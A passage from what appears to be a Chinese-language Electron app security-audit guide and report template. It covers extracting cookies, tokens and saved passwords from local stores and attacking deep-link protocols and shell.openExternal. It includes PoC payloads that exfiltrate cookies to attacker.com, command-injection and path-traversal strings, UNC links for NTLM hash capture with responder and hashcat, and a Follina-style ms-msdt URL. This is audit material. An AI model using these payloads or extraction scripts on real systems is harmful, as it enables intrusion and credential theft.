  如果明文存储 → 可直接劫持用户会话

[高危] JWT Token:
  名称: jwt, id_token, bearer
  格式: eyJ... (Base64)
  如果存在 → 解码查看内容和过期时间

[中危] 认证状态:
  名称: is_logged_in, user_id, role
  如果明文 → 可能被篡改（Cookie 劫持）
```

---

## 三、Local Storage 提取

### 3.1 文件位置

```
%APPDATA%\应用名\Local Storage\leveldb\

格式: LevelDB 数据库
```

### 3.2 提取方法

**方法 1: DevTools Application 面板（推荐）**

```
1. 打开 DevTools → Application → Local Storage
2. 展开各个域
3. 查看所有键值对
4. 特别关注: token, key, secret, password, credential 等关键词
```

**方法 2: 直接读取 LevelDB 日志文件**

```bash
# LevelDB 的 .log 文件包含最近的写入，可直接用文本方式扫描
strings "Local Storage/leveldb/000003.log" | grep -i "token\|key\|secret\|password\|jwt\|session"
```

**方法 3: Node.js 脚本**

```javascript
// 需要安装 level 包: npm install level
const { Level } = require('level');

const db = new Level('Local Storage/leveldb/', {
  createIfMissing: false,
  valueEncoding: 'utf8'
});

db.createReadStream()
  .on('data', (data) => {
    const key = data.key.toString();
    const value = data.value.toString();
    // 过滤敏感数据
    if (/token|key|secret|password|auth|jwt|session/i.test(key)) {
      console.log(`[SENSITIVE] ${key} = ${value.substring(0, 100)}`);
    }
  })
  .on('end', () => console.log('Done'));
```

**方法 4: Python 脚本**

```python
import plyvel

db = plyvel.DB('Local Storage/leveldb/', create_if_missing=False)
for key, value in db:
    key_str = key.decode('utf-8', errors='ignore')
    val_str = value.decode('utf-8', errors='ignore')
    if any(kw in key_str.lower() for kw in ['token', 'key', 'secret', 'password', 'auth']):
        print(f'[SENSITIVE] {key_str} = {val_str[:100]}')
db.close()
```

### 3.3 关键数据检查

```
[严重] Access Token / Refresh Token:
  键名: access_token, refresh_token, auth_token
  如果存在 → 可直接冒充用户

[严重] API Key:
  键名: api_key, apiKey, x-api-key
  如果存在 → 可调用后端 API

[高危] 用户凭证:
  键名: password, credential, secret
  如果存在 → 明文密码泄露

[高危] 加密密钥:
  键名: encrypt_key, aes_key, private_key
  如果存在 → 可解密通信数据

[中危] 用户信息:
  键名: user_info, profile, user_data
  如果存在 → 个人信息泄露
```

---

## 四、IndexedDB 提取

### 4.1 文件位置

```
%APPDATA%\应用名\IndexedDB\

子目录格式: {origin}_0.indexeddb.leveldb/
示例: https_app.example.com_0.indexeddb.leveldb/
```

### 4.2 提取方法

**方法 1: DevTools（推荐）**

```
DevTools → Application → IndexedDB
展开各个数据库和 Object Store
查看数据内容
```

**方法 2: 直接扫描**

```bash
# 扫描 IndexedDB 文件中的敏感字符串
strings IndexedDB/*/*.log | grep -i "token\|password\|secret\|key\|session"
```

### 4.3 常见敏感数据

```
[高危] 聊天记录:
  IM 类应用在 IndexedDB 中存储消息历史
  可能包含敏感对话内容

[高危] 离线数据:
  某些应用将 API 响应缓存到 IndexedDB
  可能包含业务敏感数据

[中危] 用户文档:
  文档编辑类应用可能缓存文档内容
```

---

## 五、日志文件分析

### 5.1 搜索位置

```bash
# 应用数据目录下的日志
dir /s /b "%APPDATA%\应用名\*.log"

# 应用安装目录下的日志
dir /s /b "C:\path\to\app\*.log"

# 临时目录
dir /s /b "%TEMP%\应用名\*"

# Electron 调试日志
dir /s /b "%APPDATA%\应用名\logs\*"
```

### 5.2 敏感信息扫描

```bash
# 扫描所有日志文件中的敏感信息

# Token / 密钥
grep -ri "token\|api.key\|secret\|bearer\|authorization" *.log

# 密码
grep -ri "password\|passwd\|pwd\|credential" *.log

# 完整 HTTP 请求（可能含认证头）
grep -ri "Authorization:\|Cookie:\|X-[REDACTED_SECRET]" *.log

# 内部地址
grep -ri "10\.\|172\.1[6-9]\.\|172\.2[0-9]\.\|172\.3[01]\.\|192\.168\." *.log

# 数据库连接
grep -ri "mysql://\|postgres://\|mongodb://\|redis://" *.log
```

### 5.3 Electron 特有日志

```
Electron 应用可能使用 electron-log 或类似库:
  %APPDATA%\应用名\logs\main.log   ← 主进程日志
  %APPDATA%\应用名\logs\renderer.log ← 渲染进程日志

这些日志可能包含:
  - 应用启动参数（可能含密钥）
  - API 请求/响应详情
  - 错误堆栈（泄露代码结构和内部路径）
  - 用户操作记录
```

---

## 六、缓存分析

### 6.1 HTTP 缓存

```
位置: %APPDATA%\应用名\Cache\

缓存文件格式: Chromium Cache v2
工具: chrome-cache-viewer

检查内容:
  [中危] API 响应被缓存
    - 搜索 JSON 响应中的敏感数据
    - 认证 API 的响应可能被缓存

  [中危] 图片缓存
    - 可能包含私密图片
    - 头像、文档截图等

  [低危] HTML/JS/CSS 缓存
    - 可能泄露前端代码结构
```

### 6.2 快速扫描缓存

```bash
# 用 strings 扫描缓存文件中的敏感内容
strings Cache/data_* | grep -i "token\|password\|api.key\|secret"

# 搜索 JSON 响应
strings Cache/data_* | grep -E "^\{.*\"(token|key|secret|password)" | head -20
```

---

## 七、Preferences 和配置文件

### 7.1 Preferences 文件

```
位置: %APPDATA%\应用名\Preferences

格式: JSON

可能包含:
  - 应用配置（包括安全相关设置）
  - 最近打开的文件列表
  - 保存的表单数据
  - 代理设置（可能含凭证）
```

### 7.2 Local State 文件

```
位置: %APPDATA%\应用名\Local State

格式: JSON

可能包含:
  - Chromium 特性标志
  - 加密密钥（os_crypt.encrypted_key）
  - 已安装的扩展信息
```

---

## 八、Web Data（自动填充）

```
位置: %APPDATA%\应用名\Web Data

格式: SQLite

提取:
  sqlite3 "Web Data" "SELECT name, value FROM autofill"
  sqlite3 "Web Data" "SELECT username_value, password_value FROM logins"

[高危] logins 表可能包含保存的密码
[中危] autofill 表可能包含个人信息（姓名、地址、电话）
```

---

## 九、产出模板

```markdown
## 本地数据泄露分析

### 数据目录

| 路径 | 内容 | 大小 |
|:-----|:-----|:-----|
| %APPDATA%\应用名\ | 主数据目录 | XX MB |

### 敏感数据发现

| # | 来源 | 数据类型 | 敏感内容 | 风险 |
|---|:-----|:---------|:---------|:-----|
| 1 | Cookies | Session Token | JSESSIONID 明文存储 | 严重 |
| 2 | Local Storage | JWT | access_token 未过期 | 高危 |
| 3 | 日志文件 | API Key | x-api-key 完整记录 | 高危 |

### Cookie 加密状态

| 项目 | 状态 |
|:-----|:-----|
| EnableCookieEncryption Fuse | on/off |
| Cookie 存储方式 | 明文/DPAPI 加密 |
| 敏感 Cookie 数量 | X 个 |

### 详细发现

[按标准格式输出]
```


path: references/OUTPUT_TEMPLATE.md
content: # Electron 安全审计报告模板

**使用说明**: 所有 `【填写】` 占位符必须替换为实际内容。不得增删章节。

---

```markdown
# 【填写:应用名称】 Electron 安全审计报告

**审计时间**: 【填写:YYYY-MM-DD】
**审计工具**: Claude Code electron-audit skill
**审计范围**: Phase 0-5 全攻击面审计

---

## 〇、审计概览

| 项目 | 信息 |
|:-----|:-----|
| 应用名称 | 【填写】 |
| 应用版本 | 【填写】 |
| Electron 版本 | 【填写】 |
| Chromium 版本 | 【填写】 |
| Node.js 版本 | 【填写】 |
| 目标平台 | 【填写:Windows/macOS/Linux】 |
| 审计路径 | 【填写:asar/exe 路径】 |
| DevTools 状态 | 【填写:可用/不可用 + 使用的方法】 |

### 保护机制

| 机制 | 状态 | 备注 |
|:-----|:-----|:-----|
| ASAR 完整性校验 | 【填写:有/无】 | 【填写】 |
| bytenode (.jsc) | 【填写:有/无】 | 【填写:涉及的文件数】 |
| 代码混淆 | 【填写:OB/webpack/无】 | 【填写】 |
| 反调试 | 【填写:有/无】 | 【填写:具体类型】 |
| 代码签名 | 【填写:有/无】 | 【填写:签名者】 |

### 安全配置摘要

| 配置项 | 值 | 安全性 |
|:-------|:---|:-------|
| nodeIntegration | 【填写:true/false】 | 【填写:安全/危险】 |
| contextIsolation | 【填写:true/false】 | 【填写:安全/危险】 |
| sandbox | 【填写:true/false】 | 【填写:安全/危险】 |
| webSecurity | 【填写:true/false】 | 【填写:安全/危险】 |
| CSP | 【填写:有/无 + 策略摘要】 | 【填写:安全/危险】 |

### Fuse 状态

| Fuse | 值 | 风险 |
|:-----|:---|:-----|
| RunAsNode | 【填写:on/off】 | 【填写】 |
| EnableNodeCliInspectArguments | 【填写:on/off】 | 【填写】 |
| EnableNodeOptionsEnvironmentVariable | 【填写:on/off】 | 【填写】 |
| EnableCookieEncryption | 【填写:on/off】 | 【填写】 |
| OnlyLoadAppFromAsar | 【填写:on/off】 | 【填写】 |
| EnableEmbeddedAsarIntegrityValidation | 【填写:on/off】 | 【填写】 |

---

## 一、风险统计

| 等级 | 数量 | 编号列表 |
|:-----|:-----|:---------|
| 严重 (C) | 【填写】 | 【填写:C-ELECTRON-001, ...】 |
| 高危 (H) | 【填写】 | 【填写:H-ELECTRON-001, ...】 |
| 中危 (M) | 【填写】 | 【填写:M-ELECTRON-001, ...】 |
| 低危 (L) | 【填写】 | 【填写:L-ELECTRON-001, ...】 |
| **合计** | **【填写】** | |

---

## 二、漏洞详情

> 按风险等级从高到低排序。每个漏洞使用以下格式:

### 【填写:C/H/M/L】-ELECTRON-【填写:序号】: 【填写:漏洞标题】

| 属性 | 值 |
|:-----|:---|
| 风险等级 | 【填写:严重/高危/中危/低危】 |
| 漏洞类型 | 【填写:RCE/XSS→RCE/协议注入/信息泄露/...】 |
| 攻击面 | 【填写:Phase 几发现的】 |
| 可利用性 | 【填写:已验证/待验证/理论可行】 |
| 前置条件 | 【填写:需要什么条件才能利用】 |

**漏洞描述**:

【填写:简明描述漏洞的成因和影响】

**数据流分析**（高危以上必须提供）:

```
Source: 【填写:数据来源】
  ↓ 【填写:传递过程】
Processing: 【填写:中间处理/转换】
  ↓ 【填写:传递过程】
Sink: 【填写:最终触发点】
```

**代码位置**:

```
【填写:文件名:行号 — 关键代码片段】
```

**验证 PoC**:

```
【填写:可直接复现的 PoC 代码/命令/步骤】
```

**预期结果**: 【填写:执行 PoC 后应该观察到什么】

**实际结果**: 【填写:实际观察到的结果】

**影响范围**: 【填写:能做什么/影响什么数据/影响哪些用户】

**修复建议**:

```
【填写:具体修复步骤和示例代码】
```

---

（重复以上格式，直到所有漏洞列出）

---

## 三、安全配置审计结果

### 3.1 BrowserWindow webPreferences

| # | 文件:行号 | 配置项 | 当前值 | 安全值 | 风险 |
|---|:---------|:-------|:-------|:-------|:-----|
| 【填写每个 BrowserWindow 实例的配置】 |

### 3.2 Preload 脚本暴露面

| # | Preload 文件 | 暴露名称 | 暴露的方法 | 风险 |
|---|:------------|:---------|:----------|:-----|
| 【填写每个 preload 暴露的 API】 |

### 3.3 IPC 通道审计

| # | 通道名 | Handler 位置 | 操作类型 | 输入校验 | 风险 |
|---|:-------|:------------|:---------|:---------|:-----|
| 【填写每个 IPC handler】 |

### 3.4 CSP 策略

```
【填写完整的 CSP 策略，或"无 CSP"】
```

| 指令 | 值 | 安全性 |
|:-----|:---|:-------|
| 【填写每个 CSP 指令的分析】 |

### 3.5 导航安全

| 事件 | 是否监听 | 校验逻辑 | 风险 |
|:-----|:---------|:---------|:-----|
| will-navigate | 【填写】 | 【填写】 | 【填写】 |
| will-redirect | 【填写】 | 【填写】 | 【填写】 |
| setWindowOpenHandler | 【填写】 | 【填写】 | 【填写】 |

---

## 四、敏感信息泄露清单

### 4.1 代码中的硬编码凭证

| # | 文件:行号 | 类型 | 内容（脱敏） | 风险 |
|---|:---------|:-----|:------------|:-----|
| 【填写扫描发现的每条敏感信息】 |

### 4.2 本地存储敏感数据

| # | 来源 | 数据类型 | 内容描述 | 风险 |
|---|:-----|:---------|:---------|:-----|
| 【填写 Cookie/LocalStorage/IndexedDB/日志中的敏感数据】 |

### 4.3 Source Map 泄露

| 文件 | 大小 | 可还原的模块 |
|:-----|:-----|:------------|
| 【填写每个 .map 文件】 |

---

## 五、供应链风险

### 5.1 Electron/Chromium 版本风险

| 组件 | 当前版本 | 最新版本 | 差距 | 已知 CVE |
|:-----|:---------|:---------|:-----|:---------|
| 【填写版本信息和对应的 CVE】 |

### 5.2 NPM 依赖漏洞

| # | 依赖包 | 当前版本 | 漏洞版本 | CVE | 风险 |
|---|:-------|:---------|:---------|:----|:-----|
| 【填写 npm audit 结果中的高危项】 |

### 5.3 自动更新安全

| 检查项 | 状态 | 风险 |
|:-------|:-----|:-----|
| 更新服务器 HTTPS | 【填写】 | 【填写】 |
| 更新包签名校验 | 【填写】 | 【填写】 |
| 降级防护 | 【填写】 | 【填写】 |

---

## 六、不可审计项

| # | 项目 | 原因 | 建议 |
|---|:-----|:-----|:-----|
| 【填写所有无法静态分析的部分，如 .jsc 文件、WASM 等】 |

---

## 七、修复优先级建议

| 优先级 | 漏洞编号 | 标题 | 修复建议摘要 | 预估工作量 |
|:-------|:---------|:-----|:------------|:----------|
| 1 | 【填写】 | 【填写】 | 【填写】 | 【填写】 |
| 2 | 【填写】 | 【填写】 | 【填写】 | 【填写】 |
| ... | | | | |

---

## 附录

### A. 使用的扫描规则集版本

【填写 sensitive_patterns.txt 版本/日期】

### B. 审计工具版本

【填写 electron-audit skill 版本】

### C. 免责声明

本报告基于审计时点的代码状态生成。审计覆盖范围受限于可分析的代码（不含 .jsc 等二进制编译文件）。标注为"待验证"的漏洞需要在实际运行环境中进一步确认。
```

---

## 自检清单

**生成报告后必须逐项检查:**

- [ ] 所有 `【填写】` 占位符已替换
- [ ] 漏洞按风险等级从高到低排序
- [ ] 高危以上漏洞均有数据流分析
- [ ] 高危以上漏洞均有可复现的 PoC
- [ ] 每个漏洞标注了可利用性状态
- [ ] 不可审计项已列出
- [ ] 修复建议按优先级排序
- [ ] 无敏感信息（真实密钥/Token）残留在报告中


path: references/PROTOCOL_RCE.md
content: # 协议处理器与 shell.openExternal RCE 手册

## 概述

Electron 应用可以注册自定义协议（Deep Link）和使用 `shell.openExternal` 打开外部 URL。这两个功能如果缺乏安全校验，可直接导致 **远程代码执行（RCE）** 或 **NTLM 凭证泄露**。

---

## 一、自定义协议（Deep Link）攻击

### 1.1 协议注册搜索

```
在源码中搜索以下关键词定位协议注册点:

  app.setAsDefaultProtocolClient('myapp')     → 注册系统级协议 myapp://
  protocol.registerFileProtocol('myapp', ...) → 注册文件协议（旧 API）
  protocol.registerHttpProtocol             → HTTP 协议
  protocol.registerStringProtocol           → 字符串协议
  protocol.registerBufferProtocol           → Buffer 协议
  protocol.registerStreamProtocol           → 流协议
  protocol.handle('myapp', ...)             → 新 API（Electron 25+）

记录: 协议名称、handler 函数位置、参数处理逻辑
```

### 1.2 协议参数处理审计

**找到 handler 后，重点检查参数如何被使用:**

```javascript
// 危险模式 1: 参数直接构造文件路径
app.on('open-url', (event, url) => {
  const parsed = new URL(url);
  const filePath = parsed.searchParams.get('file');
  const content = fs.readFileSync(filePath);  // 路径穿越！
});

// 危险模式 2: 参数直接传给 loadURL
app.on('open-url', (event, url) => {
  const target = new URL(url).searchParams.get('url');
  mainWindow.loadURL(target);  // javascript: / data: 注入！
});

// 危险模式 3: 参数直接传给 shell.openExternal
app.on('open-url', (event, url) => {
  const link = new URL(url).searchParams.get('link');
  shell.openExternal(link);  // 任意程序执行！
});

// 危险模式 4: 参数拼接到命令中
app.on('open-url', (event, url) => {
  const action = new URL(url).searchParams.get('action');
  exec(`handler ${action}`);  // 命令注入！
});

// 危险模式 5: 参数直接渲染到页面（XSS）
app.on('open-url', (event, url) => {
  const msg = new URL(url).searchParams.get('message');
  mainWindow.webContents.executeJavaScript(
    `document.getElementById('msg').innerHTML = '${msg}'`  // XSS！
  );
});
```

### 1.3 漏洞类型与 PoC

#### 路径穿越

```
前提: handler 使用用户输入构造文件路径

PoC (Windows):
  myapp://file?path=..\..\..\..\Windows\System32\drivers\etc\hosts
  myapp://file?path=../../../../Windows/System32/drivers/etc/hosts
  myapp://file?path=..%5C..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts

PoC (Linux/Mac):
  myapp://file?path=../../../../etc/passwd
  myapp://file?path=..%2F..%2F..%2Fetc%2Fpasswd

验证方法:
  1. 在浏览器地址栏输入 PoC URL
  2. 或通过命令行: start myapp://file?path=../../../../etc/passwd (Windows)
  3. 检查应用是否返回/显示了目标文件内容
```

#### JavaScript 注入（导航到 javascript: URL）

```
前提: handler 将参数传给 loadURL 且未校验 scheme

PoC:
  myapp://navigate?url=javascript:alert(document.cookie)
  myapp://navigate?url=javascript:void(fetch('https://attacker.com/log?c='+document.cookie))
  myapp://open?url=data:text/html,<script>alert(1)</script>
  myapp://open?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

如果 nodeIntegration: true:
  myapp://navigate?url=javascript:void(require('child_process').exec('calc'))

验证方法:
  1. 浏览器中输入或命令行执行
  2. 观察是否弹出 alert 或执行了代码
```

#### 命令注入

```
前提: handler 将参数拼接到 shell 命令中

PoC (Windows):
  myapp://run?action=test%26calc
  myapp://run?action=test|calc
  myapp://run?action=test%26%26calc

PoC (Linux):
  myapp://run?action=test;id
  myapp://run?action=test$(whoami)
  myapp://run?action=test`id`

验证方法:
  1. 执行 PoC URL
  2. 检查是否弹出计算器(Windows)或命令执行结果
```

#### 任意导航

```
前提: handler 可导航到任意 URL

PoC:
  myapp://open?url=https://evil.com/phishing.html    → 钓鱼
  myapp://open?url=file:///C:/Windows/System32/       → 本地文件浏览
  myapp://open?url=file:///etc/passwd                 → 敏感文件读取

验证方法:
  1. 执行 PoC URL
  2. 检查应用窗口是否导航到了目标 URL
```

### 1.4 协议安全检查清单

| 检查项 | 安全 | 不安全 | 风险 |
|:-------|:-----|:-------|:-----|
| URL scheme 白名单 | 只允许 `https:` | 允许任意 scheme | 高 |
| 域名白名单 | 只允许特定域 | 无限制 | 高 |
| 路径规范化 | `path.resolve` + 目录检查 | 直接拼接 | 高 |
| URL 解码处理 | 解码后再校验 | 只校验原始字符串 | 中 |
| 输入消毒 | 转义特殊字符 | 直接传给命令 | 高 |

---

## 二、shell.openExternal 滥用

### 2.1 搜索所有调用点

```
搜索: shell.openExternal
记录每个调用点:
  - 文件位置和行号
  - 参数来源（硬编码? 用户输入? IPC 消息?）
  - 是否有 URL 校验
```

### 2.2 危险 URL Scheme

| Scheme | 效果 | 风险 | 平台 |
|:-------|:-----|:-----|:-----|
| `file:///C:/Windows/System32/cmd.exe` | 打开命令行 | **RCE** | Windows |
| `file:///C:/Windows/System32/calc.exe` | 打开计算器 | RCE 验证 | Windows |
| `file:///Applications/Terminal.app` | 打开终端 | **RCE** | macOS |
| `smb://attacker.com/share` | NTLM Hash 泄露 | **凭证窃取** | Windows |
| `\\attacker.com\share` | NTLM Hash 泄露（UNC） | **凭证窃取** | Windows |
| `mailto:?attach=C:\secret.txt` | 附件泄露 | 数据泄露 | 全平台 |
| `ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebsrowseForFile=?IT_LaunchMethod=ContextMenu IT_BrowseForFile=h$(calc)i"` | Follina 类攻击 | **RCE** | Windows |
| `search-ms:query=test&crumb=location:\\evil.com\share` | 搜索重定向 | 代码执行 | Windows |
| `ms-officecmd:...` | Office 命令执行 | 代码执行 | Windows |
| `vscode://...` | VS Code 打开文件 | 信息泄露 | 全平台 |
| `calculator:` | 打开计算器 | PoC 验证 | Windows 10+ |
| `ms-settings:` | 打开设置 | 信息泄露 | Windows 10+ |

### 2.3 验证 PoC

#### NTLM Hash 泄露（最常见的高危利用）

```
攻击场景:
  1. 攻击者在自己的服务器上启动 SMB 监听: 
     sudo responder -I eth0
     或: sudo impacket-smbserver share /tmp -smb2support

  2. 应用中找到可控的 shell.openExternal 调用

  3. 触发:
     shell.openExternal('\\\\attacker-ip\\share')
     或: shell.openExternal('smb://attacker-ip/share')

  4. 目标机器自动发送 NTLM 认证请求
     攻击者获取 NetNTLMv2 Hash
     可用 hashcat 破解: hashcat -m 5600 hash.txt wordlist.txt

如果应用有聊天/消息功能:
  发送包含 UNC 路径的消息
  如果应用自动预览链接或点击后调用 shell.openExternal
  → 被动触发 NTLM 泄露
```

#### 本地程序执行

```javascript
// 如果在 DevTools Console 中可以访问 shell:
const { shell } = require('electron');

// Windows - 打开计算器（PoC 验证）
shell.openExternal('file:///C:/Windows/System32/calc.exe');

// Windows - 打开命令行
shell.openExternal('file:///C:/Windows/System32/cmd.exe');

// 通过 Bridge:
window.electronAPI.openURL('file:///C:/Windows/System32/calc.exe');
```

#### 超链接 RCE

```
在应用的富文本输入区域（聊天、评论、文档编辑等）:

测试 1: 直接输入链接
  https://attacker.com → 是否调用 shell.openExternal?
  如果是 → 替换为:
    file:///C:/Windows/System32/calc.exe
    smb://attacker.com/share

测试 2: HTML 注入
  <a href="file:///C:/Windows/System32/calc.exe">点击这里</a>
  <a href="smb://attacker.com/share">查看文件</a>

测试 3: Markdown 链接
  [点击](file:///C:/Windows/System32/calc.exe)
  [分享](\\attacker.com\share)

验证: 点击后是否打开了目标程序或发送了 NTLM 请求
```

### 2.4 安全校验缺陷分析

```javascript
// 常见的不安全实现:

// ❌ 完全没有校验
shell.openExternal(url);

// ❌ 只检查了 http/https 但用 startsWith（可被绕过）
if (url.startsWith('http')) {
  shell.openExternal(url);
}
// 绕过: http.attacker.com → 实际是合法域名
// 但这不是真正的绕过，startsWith('http') 本身就允许了 http 和 https

// ❌ 黑名单方式（不完整）
if (!url.startsWith('file:')) {
  shell.openExternal(url);
}
// 绕过: smb://、\\UNC路径、ms-msdt://、search-ms: 等未在黑名单中

// ✅ 正确的白名单方式
function safeOpenExternal(url) {
  try {
    const parsed = new URL(url);
    if (!['http:', 'https:'].includes(parsed.protocol)) return false;
    // 可选: 域名白名单
    // if (!allowedDomains.includes(parsed.hostname)) return false;
    shell.openExternal(url);
  } catch(e) {
    return false;
  }
}
```

---

## 三、导航劫持

### 3.1 will-navigate 缺失

```
搜索: will-navigate / will-redirect / setWindowOpenHandler

如果主窗口没有监听这些事件:
  → 渲染进程可通过 JS 自由导航到任意 URL

验证:
  在 DevTools Console 中:
    location.href = 'https://evil.com'
    → 如果成功导航 → 导航劫持成功
    
    location.href = 'file:///C:/Windows/System32/'
    → 如果成功 → 可浏览本地文件系统

  如果 nodeIntegration: true:
    location.href = 'javascript:require("child_process").exec("calc")'
```

### 3.2 loadURL 参数注入

```
搜索: loadURL / webContents.loadURL

如果参数来自用户输入或 IPC:

  ipcMain.handle('navigate', (e, url) => {
    mainWindow.loadURL(url);  // 用户可控!
  });

  PoC:
    window.api.invoke('navigate', 'javascript:alert(1)')
    window.api.invoke('navigate', 'file:///etc/passwd')
    window.api.invoke('navigate', 'data:text/html,<script>alert(1)</script>')
```

### 3.3 window.open 滥用

```
如果没有 setWindowOpenHandler:

  Console:
    window.open('https://evil.com')
    → 新窗口可能继承了主窗口的 webPreferences（包括 nodeIntegration!）

    window.open('file:///C:/Windows/System32/')
    → 可能可以浏览本地文件

检查 setWindowOpenHandler:
  搜索代码中是否有:
    win.webContents.setWindowOpenHandler(({ url }) => {
      // 是否有 URL 校验?
      // 是否默认 deny?
    });
```

---

## 四、executeJavaScript 注入

### 4.1 搜索

```
搜索: webContents.executeJavaScript / executeJavaScript

[严重] 参数拼接了用户输入:
  win.webContents.executeJavaScript(`handleData('${userInput}')`)

  注入 PoC:
    userInput = "'); require('child_process').exec('calc'); ('"
    结果: handleData(''); require('child_process').exec('calc'); ('')
```

### 4.2 利用

```javascript
// 如果 IPC handler 调用了 executeJavaScript:
ipcMain.handle('run-js', (event, code) => {
  mainWindow.webContents.executeJavaScript(code);
});

// PoC（通过 Bridge 调用）:
window.api.invoke('run-js', "require('child_process').exec('calc')");
```

---

## 五、webview 标签利用

### 5.1 搜索

```
搜索: <webview / webviewTag: true

危险配置:
  <webview src={userInput} nodeintegration>           → RCE
  <webview src="https://untrusted.com" nodeintegration> → 不可信内容 RCE
  <webview> 未设置 partition                          → Session 共享
  <webview> 未监听 will-navigate                      → 导航劫持
```

### 5.2 利用

```javascript
// 如果页面上有 webview 且 nodeintegration 启用:
// 在 webview 加载的页面中:
require('child_process').exec('calc');

// 如果 webview src 可控:
// 攻击者可以让 webview 加载恶意页面
// 恶意页面中的 JS 直接获得 Node.js 权限
```

---

## 六、产出模板

```markdown
## 协议处理器 & shell.openExternal 审计

### 注册的自定义协议

| 协议名 | 注册位置 | Handler 位置 | 参数处理 | 风险 |
|:-------|:---------|:------------|:---------|:-----|
| myapp:// | main.js:XX | main.js:YY | 无校验 | 严重 |

### shell.openExternal 调用点

| 调用位置 | 参数来源 | URL 校验 | 可利用性 | 风险 |
|:---------|:---------|:---------|:---------|:-----|
| handler.js:XX | IPC 消息 | 无 | 已验证 | 严重 |

### 导航安全

| 事件 | 是否监听 | 校验逻辑 | 风险 |
|:-----|:---------|:---------|:-----|
| will-navigate | 否 | - | 高危 |
| will-redirect | 否 | - | 高危 |
| setWindowOpenHandler | 否 | - | 高危 |

### 漏洞详情

[按标准格式输出，含 PoC]
```


path: references/SUPPLY_CHAIN.md
content: # Layer 5: 供应链审计 — 详细手册

## 一、NPM 依赖审计

### 1.1 自动化扫描

```bash
# 在解包后的应用目录中执行:

# 方法 1: npm audit（需要 package-lock.json）
npm audit --json > audit_report.json
npm audit --audit-level=high    # 只显示高危

# 方法 2: yarn audit（需要 yarn.lock）
yarn audit --json > audit_report.json

# 方法 3: 无 lock 文件时
npx auditjs ossi    # 基于 package.json 扫描

# 方法 4: Snyk（更全面）
npx snyk test --json > snyk_report.json
```

### 1.2 高危依赖黑名单

```
以下依赖如果出现在 Electron 应用中，需要重点关注:

[高危] node-serialize — 已知反序列化 RCE (CVE-2017-5941)
[高危] serialize-javascript < 3.1.0 — XSS (CVE-2020-7660)
[高危] vm2 < 3.9.17 — 沙箱逃逸 (CVE-2023-29199)
[高危] lodash < 4.17.21 — 原型链污染 (CVE-2021-23337)
[高危] minimist < 1.2.6 — 原型链污染 (CVE-2021-44906)
[高危] glob-parent < 5.1.2 — ReDoS (CVE-2020-28469)
[高危] axios < 1.6.0 — SSRF (CVE-2023-45857)
[高危] electron < 当前稳定版 — 多个已知 CVE

[中危] moment — 已停止维护，可能有未修复漏洞
[中危] request — 已废弃
[中危] node-uuid < 3.0 — 弱随机数
[中危] jsonwebtoken < 9.0.0 — 多个安全问题
```

### 1.3 Electron 版本专项检查

```
Electron 版本安全生命周期:
  - 只有最新 3 个大版本受支持
  - 超出支持范围的版本不再收到安全补丁

检查方法:
  1. package.json 中的 electron 版本
  2. 或 node_modules/electron/package.json
  3. 或运行时 process.versions.electron

版本 → Chromium 映射（部分）:
  Electron 33 → Chromium 130 (2024.10)
  Electron 32 → Chromium 128 (2024.08)
  Electron 31 → Chromium 126 (2024.06)
  Electron 30 → Chromium 124 (2024.04)
  Electron 29 → Chromium 122 (2024.02)
  Electron 28 → Chromium 120 (2023.12)
  ...
  完整列表: https://releases.electronjs.org/

CVE 查询:
  - Electron: https://www.electronjs.org/blog/tags/security
  - Chromium: https://chromereleases.googleblog.com/
  - V8: https://v8.dev/blog
```

### 1.4 依赖树分析

```
检查间接依赖（传递依赖）:
  npm ls --all --json > dep_tree.json

关注:
  - 依赖总数（>500 个需要警惕）
  - 是否有同一包的多个版本（版本冲突）
  - 是否有已废弃的包（npm info <pkg> deprecated）
  - 是否有来源不明的私有包（@scope/pkg）
```

## 二、Native 模块安全

### 2.1 Native 模块清单

```
扫描位置:
  - app.asar.unpacked/ 下的 .node 文件
  - extraResources/ 下的 .node/.dll/.so 文件
  - node_modules/ 中的 binding.gyp（编译型 native 模块）

记录信息:
  - 文件名、大小、修改时间
  - 数字签名信息（Windows: signtool verify /pa xxx.dll）
  - 文件描述/版本信息
  - 导出函数列表
```

### 2.2 已知 Native 模块识别

```
常见 Electron 应用中的 native 模块:

安全/加密类:
  - keytar.node — 系统密钥链访问
  - sodium-native.node — libsodium 加密
  - node-rsa.node — RSA 加密

媒体类:
  - sharp.node — 图片处理
  - ffmpeg 相关 — 音视频处理

系统交互类:
  - robotjs.node — 键鼠模拟
  - ffi-napi.node — 外部函数接口（可调用任意 DLL）
  - edge-js.node — .NET 互操作

反作弊/安全类:
  - yidun.node — 网易易盾
  - 自定义 addon.node — 需要逆向分析
```

### 2.3 DLL 劫持检测

```
DLL 劫持条件:
  1. 应用加载了未使用绝对路径的 DLL
  2. DLL 搜索顺序中，攻击者可控的目录优先
  3. DLL 未做签名校验

检查方法:
  1. 使用 Process Monitor 监控应用启动时的 DLL 加载
  2. 关注 "NAME NOT FOUND" 的 DLL（可被劫持）
  3. 检查应用目录下的 DLL 是否有数字签名

Windows DLL 搜索顺序:
  1. 应用目录（最容易被劫持）
  2. System32
  3. System
  4. Windows
  5. 当前目录
  6. PATH 环境变量

[高危] 应用目录下有未签名的 DLL
[高危] 应用加载了不存在的 DLL（可植入恶意 DLL）
[中危] DLL 未使用绝对路径加载
```

### 2.4 Native 模块逆向

```
当 native 模块包含安全关键逻辑时:

工具:
  - ghidra-mcp: 反编译 .node/.dll
  - IDA Pro: 专业逆向工具
  - x64dbg: 动态调试

分析重点:
  - 导出函数列表（napi_register_module_v1 入口）
  - 加密/签名相关函数
  - 网络通信函数
  - 文件操作函数
  - 反调试/完整性校验函数

使用 ghidra-mcp:
  1. list_functions() — 获取函数列表
  2. decompile_function(name) — 反编译关键函数
  3. list_strings() — 搜索字符串常量
  4. get_xrefs_to(address) — 交叉引用分析
```

## 三、外部资源加载安全

### 3.1 CDN 依赖

```
搜索: <script src="http / <link href="http / import("http

[高危] 从第三方 CDN 加载 JS 且无 SRI:
  <script src="https://cdn.example.com/lib.js">
  → CDN 被入侵时，所有用户受影响

[安全] 使用 SRI (Subresource Integrity):
  <script src="https://cdn.example.com/lib.js"
    integrity="sha384-xxxxx" crossorigin="anonymous">

检查:
  - 是否所有外部 JS/CSS 都有 integrity 属性
  - integrity hash 是否正确（可用 shasum 验证）
```

### 3.2 自动更新机制

```
搜索: electron-updater / autoUpdater / update-electron-app

检查项:
